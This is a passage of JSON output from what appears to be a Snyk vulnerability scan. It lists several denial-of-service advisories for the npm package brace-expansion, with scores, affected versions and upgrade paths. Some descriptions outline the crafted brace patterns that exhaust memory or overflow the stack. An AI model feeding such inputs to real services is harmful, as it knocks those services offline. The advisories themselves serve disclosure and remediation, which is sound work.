"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", 